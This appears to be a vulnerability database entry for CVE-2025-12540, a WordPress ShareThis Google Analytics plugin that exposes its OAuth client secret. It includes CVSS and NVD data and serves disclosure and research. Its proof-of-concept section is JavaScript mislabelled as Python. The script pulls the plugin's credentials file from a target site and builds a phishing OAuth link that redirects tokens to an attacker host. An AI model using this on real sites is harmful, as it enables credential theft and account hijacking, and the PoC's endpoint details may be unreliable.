Security Vulnerability Report
中文
CVE-2025-12540 CVSS 4.7 MEDIUM

CVE-2025-12540

Published: 2026-01-07 12:16:47
Last Modified: 2026-04-15 00:35:42

Description

The ShareThis Dashboard for Google Analytics plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.2.4. This is due to the Google Analytics client_ID and client_secret being stored in plaintext in the publicly visible plugin source. This can allow unauthenticated attackers to craft a link to the sharethis.com server, which will share an authorization token for Google Analytics with a malicious website, if the attacker can trick an administrator logged into the website and Google Analytics to click the link.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

ShareThis Dashboard for Google Analytics插件 <= 3.2.4(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12540 PoC - Sensitive Information Exposure // Extract credentials from plugin source const fs = require('fs'); const https = require('https'); // Step 1: Fetch credentials.json from plugin const targetUrl = 'https://example-wordpress-site.com/wp-content/plugins/googleanalytics/credentials.json'; https.get(targetUrl, (res) => { let data = ''; res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { try { const creds = JSON.parse(data); console.log('Client ID:', creds.client_id); console.log('Client Secret:', creds.client_secret); // Step 2: Construct malicious OAuth link const maliciousRedirectUri = 'https://attacker-controlled-site.com/callback'; const authUrl = `https://sharethis.com/oauth/authorize?client_id=${creds.client_id}&redirect_uri=${encodeURIComponent(maliciousRedirectUri)}&response_type=code`; console.log('Malicious Auth URL:', authUrl); console.log('Social Engineering: Trick admin to click this link'); } catch (e) { console.error('Parse error:', e.message); } }); }).on('error', (e) => { console.error('Request error:', e.message); }); /* Alternative method - Extract from JavaScript source: 1. Visit: https://target-site.com/wp-content/plugins/googleanalytics/assets/js/ga-config.js 2. Search for 'client_id' and 'client_secret' in the source 3. Use extracted credentials for OAuth hijacking Attack requires: - Target site running vulnerable plugin version <= 3.2.4 - Admin logged into WordPress and Google Analytics - Admin clicking attacker-crafted link */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12540", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:46.970", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ShareThis Dashboard for Google Analytics plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.2.4. This is due to the Google Analytics client_ID and client_secret being stored in plaintext in the publicly visible plugin source. This can allow unauthenticated attackers to craft a link to the sharethis.com server, which will share an authorization token for Google Analytics with a malicious website, if the attacker can trick an administrator logged into the website and Google Analytics to click the link."}, {"lang": "es", "value": "El plugin ShareThis Dashboard para Google Analytics para WordPress es vulnerable a la Exposición de Información Sensible en todas las versiones hasta la 3.2.4, inclusive. Esto se debe a que el client_ID y el client_secret de Google Analytics se almacenan en texto plano en el código fuente del plugin, visible públicamente. Esto puede permitir a atacantes no autenticados crear un enlace al servidor sharethis.com, que compartirá un token de autorización para Google Analytics con un sitio web malicioso, si el atacante puede engañar a un administrador que haya iniciado sesión en el sitio web y en Google Analytics para que haga clic en el enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/googleanalytics/trunk/credentials.json?rev=3364575", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6781dcc5-db95-43ca-9042-a3c05414b7e6?source=cve", "source": "[email protected]"}]}}